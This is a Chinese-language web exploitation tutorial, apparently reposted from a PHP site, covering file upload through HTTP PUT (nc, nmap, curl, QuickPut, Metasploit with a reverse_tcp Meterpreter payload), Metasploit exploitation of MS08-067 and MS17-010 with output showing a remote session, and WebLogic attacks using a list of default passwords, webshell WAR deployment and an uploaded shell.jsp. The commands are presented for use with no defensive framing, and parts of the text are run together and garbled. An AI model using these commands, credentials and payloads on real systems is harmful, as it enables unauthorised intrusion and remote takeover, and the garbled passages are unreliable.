1、HTTP PUT方法利用
PUT是用來進行檔案管理的方法,若維運人員未修改Web伺服器缺省配置,依然支援這些方法,則可以向伺服器檔案系統任意上傳檔案。
1.1、 Netcat利用PUT方法
Netcat是一款非常有名的網路工具,簡稱「NC」,有滲透測試中的「瑞士**」之稱。它能夠實現連接埠監聽、連接埠掃描、遠端檔案傳輸以及遠端shell等多種功能。
查看得知Web服務開啟PUT方法後,輸入以下指令上傳檔案:
nc IP PORT
PUT /dav/hack.txt HTTP/1.1
# Host: IP
按兩次回車可以看到hacked.txt檔案已經成功創建,狀態碼是201,檔案建立位置為/dav/目錄。
1.2、Nmap利用PUT方法
指令:
nmap -p 埠IP -script http-put-script-args http-put. url='/dav/test.php',http-put.file='/root/test.php'
#指令解說:
-script http-put //選擇http- put腳本,腳本支援使用http put方法上傳檔案。
-script-args //設定腳本參數1、2
http-put.url='/dav/test.php' //設定參數1為上傳目標檔案路徑
http-put.file='/root/test.php' //設定參數2為上傳本機檔案路徑。
圖中可以看到透過Nmap腳本上傳成功。
使用日常見面的BurpSuite存取上傳目標路徑抓取封包,修改封包請求方式及上傳路徑,在請求正文中寫入檔案內容,發包至Web伺服器。
伺服器回應包顯示檔案建立成功。
CURL是利用URL語法在命令列下工作的檔案傳輸工具,透過指定的URL來上傳或下載數據,並將數據展示出來。 curl中的c表示client,而URL,就是URL。
透過PUT方法建立檔案指令如下:
指令1:
curl -i -XPUT -H “Content-Type: text/plain ; charset=utf-8” -d “hack completed” http://192.168.40.4/dav/hack.php
##指令講解:# -i/--include //輸出時包含protocol頭資訊 -X/--request指令2:##curl -i -X PUT -H “Content-Type:application /xml; charset=utf-8″ -d @”F:\1.php” http://192.168.40.4/dav/hack.php
#指令解說:
-d @“filename” //從檔案讀入內容
#1.5 QuickPuT腳本利用PUT方法
#利用QuickPut這個Python命令列工具,我們可以使用HTTP PUT方法將檔案上傳到伺服器。
上傳指令:
python2 QuickPut.py F:\1.php http://192.168.40.4/dav/hack1.php
#指令講解:
python QuickPut.py
1.6 Metasploit利用PUT方法
指令:
使用http_put模組進行輔助掃描http服務
#show options //顯示模組參數
set RHOSTS 192.168.40.4 //設定目標IP
set PATH /dav/ //設定目標路徑
set payload php/meterpreter/reverse_tcp //設定攻擊載重
#set filename msf.php //設定上傳檔名
set FILEDATA file ://root/test.php //設定上傳本機檔案資料路徑
exploit //開始攻擊
#回傳結果顯示成功上傳檔案。
進行資訊收集埠掃描後發現主機開啟139,445埠且banner顯示為Microsoft Windows,則會聯想到與139、 445埠SMB漏洞,比較常見的有ms17-010,ms08-067等。
漏洞偵測
#指令:
#namp --script=/usr/share/nmap/scripts/smb- vuln-ms08-067.nse –sTIP
namp --script=/usr/share/nmap/scripts/smb-vuln-ms17-010.nse –sTIP
#指令解說:
--script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse //使用Nmapms08-067漏洞掃描腳本
-sT //使用TCP掃描
若輸出結果為:
smb-vuln-ms08-067:
VULNERABLE:
Microsoft Windows system vulnerable toremote code execution (MS08-067)
State: VULNERABLE
IDs: CVE:CVE-2008-4250
#The Server service inMicrosoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,Vista Goldand SP1, Server 2008, and 7 Pre-Beta allows remote attackers to executearbitrarycode via a crafted RPC request that triggers the overflow during pathcanonicalization.#date RPC request that triggers the。
#References:https://technet.microsoft.com/en-us/library/security/ms08-067.aspxhttps://cve.mitre.org /cgi-bin/cvename.cgi?name=CVE-2008-4250則表示有ms08-067漏洞,ms17-010同上。漏洞利用
使用MSF smb攻擊模組,利用ms08-067與ms17-010漏洞。
msf> use exploit/windows/smb/ms08_067_netapimsfexploit(ms08_067_netapi) > set RHOST IPmsfexploit(ms08_067_netapi) gt; [*]Started reverse TCP handler on 本機監聽IP埠正在自動偵測目標IP:445[*]目標IP:445- Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English[*]目標IP:445- Selected Target: Windows 2000 Universal[*]目標IP:445- Attempting to trigger the vulnerability...[*]Sending stage (957487 bytes) to 目標IP[*]Meterpreter session 2 opened (監聽IP埠-> 目標埠反彈)meterpreter> #ms17-010漏洞利用同上。3.Weblogic漏洞利用
在滲透測試中常常會遇到Weblogic Server應用伺服器,看到Weblogic Server後聯想到Weblogic Server可能會在背景管理弱口令、JAVA反序列化漏洞、任意檔案上傳漏洞等許多本版的各種CVE漏洞。以下分享下Weblogic各種漏洞的利用手法。常見Weblogic Server登入弱口命令:weblogic/weblogic
weblogic/weblogic1weblogic/weblogic10weblogic/weblogic123若存在即可登入應用程式伺服器管理後台,上傳webshellwar套件。上傳後在應用程式伺服器中部署war套件
上傳部署war包成功後即可存取大馬。
3.2
JAVA
反序列化漏洞
CVE漏洞可直接使用腳本偵測,然後根據漏洞程式碼尋找exp腳本漏洞利用。
Weblogic漏洞偵測腳本十分強大,可偵測各種CVE、管理後台路徑、SSRF、弱口令、並支援後製擴充。 也可利用Java反序列化漏洞利用工具直接進行偵測利用。漏洞工具提供漏洞偵測、命令執行、檔案上傳、批次檢查功能。3.3
Weblogic ######任意檔案上傳漏洞######透過爆破Weblogic返回訊息。
取得到登入口令、服務名稱、隨機字元目錄,建構上傳POC進行測試檔案上傳。
在/bea_wls_deployment_internal/DeploymentService路徑下傳入以下資料
伺服器返回上傳成功和檔案絕對路徑。
造訪此上傳檔案路徑後顯示上傳檔案內容
#http://IP/bea_wls_deployment_internal/shell.jsp
#
以上是Web漏洞利用姿勢的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!